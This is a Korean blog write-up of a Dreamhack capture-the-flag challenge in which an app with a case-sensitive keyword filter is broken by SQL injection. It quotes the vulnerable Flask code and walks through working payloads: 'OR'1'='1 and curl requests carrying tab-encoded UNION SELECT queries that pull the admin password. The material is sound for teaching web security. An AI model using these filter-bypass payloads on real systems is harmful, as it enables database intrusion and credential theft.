본문 바로가기

Dreamhack/웹해킹

[LEVEL 1] sql injection bypass WAF

웹 서비스에 접속하면 매우 단순한 화면이 나타납니다. 화면 상단에는 실행될 SQL 쿼리가 표시되어 있습니다.

그 아래에는 uid 입력창과 submit 버튼이 있어, 사용자가 입력한 값이 쿼리의 {uid} 부분에 들어가는 구조임을 알 수 있습니다.

 

uid 입력창에 hi를 입력하고 submit 버튼을 눌렀습니다. 화면 상단의 쿼리가 다음과 같이 변경된 것을 확인할 수 있습니다:

이를 통해 사용자가 입력한 값이 '{uid}' 부분에 그대로 삽입되는 구조임을 알 수 있습니다.

 

보다 정확하게 파악해보기 위해서 문제 파일을 다운로드 받아보았습니다.

 

app.py

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0') 

이 함수는 WAF(Web Application Firewall)의 역할을 수행합니다. 사용자가 입력한 값에 특정 키워드가 포함되어 있는지 검사하고, 만약 포함되어 있다면 해당 요청을 차단하는 방식입니다.

차단 대상으로 지정된 키워드들을 살펴보면, union, select, from은 UNION 기반 SQL Injection 공격을 방지하기 위한 것입니다. and와 or는 WHERE 절의 조건을 조작하는 것을 막기 위해 포함되어 있습니다. 특이하게도 admin이라는 단어도 필터링 대상인데, 이는 공격자가 admin 계정에 직접 접근하는 것을 방지하려는 의도로 보입니다. 마지막으로 공백( ), *, /는 쿼리를 자유롭게 구조화하거나 주석(/* */)을 사용하는 것을 막기 위해 필터링하고 있습니다.

 

지정된 키워드를 입력을 하면은 아래 사진과 같이 막혀있는 것을 확인 할 수 있습니다.

코드를 다시 살펴보면 if keyword in data라는 구문이 사용되고 있는데, 이는 대소문자를 구분하여 검사합니다. 즉, admin은 차단되지만 ADMIN이나 Admin은 차단되지 않는다는 의미입니다.

실제로 대문자를 사용하여 테스트해보았더니 WAF를 우회할 수 있었습니다. 이처럼 대소문자만 변경해도 필터링을 통과할 수 있다는 것은 이 WAF의 취약점입니다.

 

우회가 가능하다는 것을 확인했으니, 이제 실제로 SQL Injection을 시도해보았습니다. 먼저 데이터베이스에 저장된 유저 정보를 확인하기 위해 'OR'1'='1을 입력해보았습니다.

이 입력값이 쿼리에 들어가면 다음과 같이 됩니다:

SELECT * FROM user WHERE uid=''OR'1'='1';

uid=' '는 빈 문자열과 비교하는 거짓 조건이지만, 뒤에 OR'1'='1'이 붙으면서 항상 참이 되는 조건이 만들어집니다. 이렇게 하면 WHERE 절이 항상 참이 되어 테이블의 모든 유저를 조회할 수 있습니다.

 

SQL Injection이 성공하여 abcde라는 첫 번째 유저 정보가 출력되었습니다. 하지만 여기서 한 가지 제한사항이 있습니다.

소스코드를 다시 살펴보면 fetchone() 함수를 사용하고 있어서 쿼리 결과 중 첫 번째 행만 가져옵니다. 따라서 'OR'1'='1로 모든 유저를 조회하는 조건을 만들었더라도 실제로 화면에 출력되는 것은 첫 번째 유저뿐입니다.

 

문제에서 제공된 DB 초기화 스크립트를 확인해보았습니다.

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');

총 5명의 유저가 등록되어 있고, 테이블 구조는 idx, uid, upw 세 개의 컬럼으로 이루어져 있습니다. 여기서 주목할 점은 admin 유저의 비밀번호가 DH{**FLAG**}로 되어 있다는 것입니다. 즉, admin 유저의 비밀번호를 알아내면 플래그를 획득할 수 있습니다.

 

admin 유저의 비밀번호를 알아내기 위해서는 UNION SELECT를 활용해야 합니다. UNION SELECT를 사용하면 원래 쿼리 결과에 우리가 원하는 데이터를 붙여서 출력할 수 있기 때문입니다.

UNION SELECT를 사용하려면 먼저 원래 쿼리의 컬럼 수를 파악해야 합니다. 컬럼 수가 일치하지 않으면 에러가 발생하기 때문입니다. 그래서 다음과 같이 입력을 시도해보았습니다.

'UNION SELECT 1,2,3--

 

하지만 여기서 문제가 발생했습니다. WAF가 공백을 필터링하고 있기 때문에 위 쿼리는 차단됩니다. 이를 우회하기 위해 공백 대신 탭 문자를 사용하기로 했습니다. URL 인코딩에서 탭은 %09로 표현됩니다.

'UNION%09SELECT%091,2,3--%09

그런데 브라우저의 입력창에서 %09를 입력하면 제대로 작동하지 않았습니다. 이는 브라우저가 %09를 %2509로 다시 인코딩하기 때문입니다. 즉, 서버에는 탭 문자가 아닌 %09라는 문자열 그대로 전달되는 것입니다.

이 문제를 해결하기 위해 curl을 사용하여 직접 요청을 보내보기로 했습니다.

 

curl은 URL 인코딩된 값을 그대로 서버에 전달하기 때문에 %09가 실제 탭 문자로 전달됩니다. 먼저 컬럼 수를 파악하기 위해 다음과 같이 요청을 보내보았습니다.

curl "http://host8.dreamhack.games:22685/?uid='UNION%09SELECT%091,2,3--%09"

결과로 2가 출력되었습니다. 이를 통해 두 가지 사실을 알 수 있었습니다. 첫째, 테이블의 컬럼 수는 3개입니다. 둘째, 화면에 출력되는 것은 두 번째 컬럼의 값입니다.

 

이제 abced의 비밀번호를 가져올 차례입니다. 두 번째 위치에 upw 컬럼을 넣으면 비밀번호가 화면에 출력될 것입니다.

curl "http://host8.dreamhack.games:22685/?uid='UNION%09SELECT%091,upw,3%09FROM%09user--%09"

결과로 12345가 출력되었습니다. 이것은 첫 번째 유저인 abcde의 비밀번호입니다. 우리가 원하는 것은 두 번째 유저인 admin의 비밀번호이므로, LIMIT를 사용하여 두 번째 행을 가져오도록 했습니다.

curl "http://host8.dreamhack.games:22685/?uid='UNION%09SELECT%091,upw,3%09FROM%09user%09LIMIT%091,1--%09"

이렇게 플래그를 획득 할 수 있었습니다.

'Dreamhack > 웹해킹' 카테고리의 다른 글

[LEVEL 1] Command Injection Advanced  (0) 2026.01.06
[LEVEL 1] error based sql injection  (0) 2026.01.05
[LEVEL 1] type confusion  (0) 2025.09.11
[LEVEL 1] [wargame.kr] strcmp  (1) 2025.09.08
[LEVEL 1] [wargame.kr] fly me to the moon  (0) 2025.09.08